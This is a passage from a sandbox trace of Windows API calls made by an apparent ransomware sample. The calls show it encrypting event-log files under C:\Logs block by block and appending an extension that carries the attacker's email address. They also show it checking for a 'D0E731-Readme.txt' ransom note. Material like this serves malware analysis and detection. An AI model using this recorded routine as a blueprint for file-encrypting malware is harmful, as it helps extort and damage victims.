_Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.697] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.698] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.698] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.698] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.698] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.698] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a68) returned 1 [0164.698] RtlExitUserThread (Status=0x1) Thread: id = 1534 os_tid = 0xed4 [0164.700] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.700] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.701] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.701] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6eefad4 | out: lpFileSize=0x6eefad4*=69824) returned 1 [0164.701] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.701] ReadFile (in: hFile=0x4a0, lpBuffer=0x6eefaa8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x6eefaa8*, lpNumberOfBytesRead=0x6eefaa4*=0x4, lpOverlapped=0x0) returned 1 [0164.702] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab9d8 [0164.702] NtQuerySystemTime (in: CurrentTime=0x6eefa80 | out: CurrentTime=0x6eefa80*=132121213220215507) returned 0x0 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xa3b90831 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x1625a08c [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x93f58909 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x7b42ba6a [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xe1f9bec [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xa4afa789 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xeae6aed1 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x1772e7f [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xb756b48 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xbbe0413 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xb7b4fdbe [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x475fbfb8 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x5a5142c [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xf6e6a8b1 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xd75cd1e9 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xd431421c [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x7d359385 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x82b73df0 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xc8cd79f1 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xb8f02524 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xfcbcc79b [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x1119fbf9 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xc8b38a46 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xcc8d9fdc [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x73076f2 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x57460ca2 [0164.702] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x6f8a0827 [0164.703] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x65238cb8 [0164.703] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x227867df [0164.703] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0xea50c79c [0164.703] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x5ea88326 [0164.703] RtlRandom (in: Seed=0x6eefa8c | out: Seed=0x6eefa8c) returned 0x941e5226 [0164.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab910 [0164.713] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.713] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.713] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.713] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6eefa58, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6eefa58*=0x4096, lpOverlapped=0x0) returned 1 [0164.714] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0164.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.714] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab758 [0164.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab758) returned 1 [0164.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0164.715] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6eefa58, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6eefa58*=0x4096, lpOverlapped=0x0) returned 1 [0164.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.715] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.715] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6eefa90, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x6eefa90*=0x20, lpOverlapped=0x0) returned 1 [0164.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.715] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x2fab910*, lpNumberOfBytesWritten=0x6eefaa4*=0x8, lpOverlapped=0x0) returned 1 [0164.715] WriteFile (in: hFile=0x4a0, lpBuffer=0x6eefabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x6eefabc*, lpNumberOfBytesWritten=0x6eefaa4*=0x4, lpOverlapped=0x0) returned 1 [0164.716] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6eefaa4*=0x4, lpOverlapped=0x0) returned 1 [0164.716] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6eefaa4*=0x6c, lpOverlapped=0x0) returned 1 [0164.716] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab960*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x2fab960*, lpNumberOfBytesWritten=0x6eefaa4*=0x20, lpOverlapped=0x0) returned 1 [0164.716] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6eefaa4*=0x4, lpOverlapped=0x0) returned 1 [0164.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab910) returned 1 [0164.716] CloseHandle (hObject=0x4a0) returned 1 [0164.716] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85918 [0164.716] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.716] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.716] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.717] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.717] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.717] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.717] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.718] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.718] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.718] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97f58) returned 1 [0164.718] RtlExitUserThread (Status=0x1) Thread: id = 1535 os_tid = 0xed8 [0164.723] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.723] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.723] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.724] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6f6fe34 | out: lpFileSize=0x6f6fe34*=69824) returned 1 [0164.724] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.724] ReadFile (in: hFile=0x4a0, lpBuffer=0x6f6fe08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6f6fe04, lpOverlapped=0x0 | out: lpBuffer=0x6f6fe08*, lpNumberOfBytesRead=0x6f6fe04*=0x4, lpOverlapped=0x0) returned 1 [0164.725] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab758 [0164.725] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab910 [0164.725] NtQuerySystemTime (in: CurrentTime=0x6f6fde0 | out: CurrentTime=0x6f6fde0*=132121213220371866) returned 0x0 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xd39c37e8 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x5110739e [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x460a0930 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x46d9510e [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xab29a798 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x9467eabd [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x98e5c83a [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xa8a7cad1 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xb50f3951 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xdb23add2 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x133e473d [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x678153cd [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x9fe4c5bd [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x7a44d016 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x47e23dbe [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x92a05def [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x7122a9cd [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x5f3ac1c4 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x8d8813fb [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xf372eb91 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xf0c9a00e [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x23ebfb42 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x78ff0ff [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xfb4b8d57 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x76793f1 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x57a631f7 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x6f2fdcc5 [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x8aca8c8a [0164.725] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xe22c05d1 [0164.726] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x5e51045b [0164.726] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0xb6a5dec5 [0164.726] RtlRandom (in: Seed=0x6f6fdec | out: Seed=0x6f6fdec) returned 0x7e42c1d2 [0164.734] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab780 [0164.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab820 [0164.736] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.736] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.736] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.736] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6f6fdb8, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6f6fdb8*=0x4096, lpOverlapped=0x0) returned 1 [0164.737] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.737] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab848 [0164.737] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab848) returned 1 [0164.737] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.738] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.738] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6f6fdb8, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6f6fdb8*=0x4096, lpOverlapped=0x0) returned 1 [0164.738] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.738] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.738] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6f6fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0x6f6fdf0*=0x20, lpOverlapped=0x0) returned 1 [0164.738] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.738] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.738] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab820*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6f6fe04, lpOverlapped=0x0 | out: lpBuffer=0x2fab820*, lpNumberOfBytesWritten=0x6f6fe04*=0x8, lpOverlapped=0x0) returned 1 [0164.738] WriteFile (in: hFile=0x4a0, lpBuffer=0x6f6fe1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6f6fe04, lpOverlapped=0x0 | out: lpBuffer=0x6f6fe1c*, lpNumberOfBytesWritten=0x6f6fe04*=0x4, lpOverlapped=0x0) returned 1 [0164.739] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6f6fe04, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6f6fe04*=0x4, lpOverlapped=0x0) returned 1 [0164.739] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6f6fe04, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6f6fe04*=0x6c, lpOverlapped=0x0) returned 1 [0164.739] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab758*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6f6fe04, lpOverlapped=0x0 | out: lpBuffer=0x2fab758*, lpNumberOfBytesWritten=0x6f6fe04*=0x20, lpOverlapped=0x0) returned 1 [0164.739] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6f6fe04, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6f6fe04*=0x4, lpOverlapped=0x0) returned 1 [0164.739] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab758) returned 1 [0164.739] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab780) returned 1 [0164.739] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab820) returned 1 [0164.739] CloseHandle (hObject=0x4a0) returned 1 [0164.739] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6ab60 [0164.739] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.739] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.739] MoveFileW 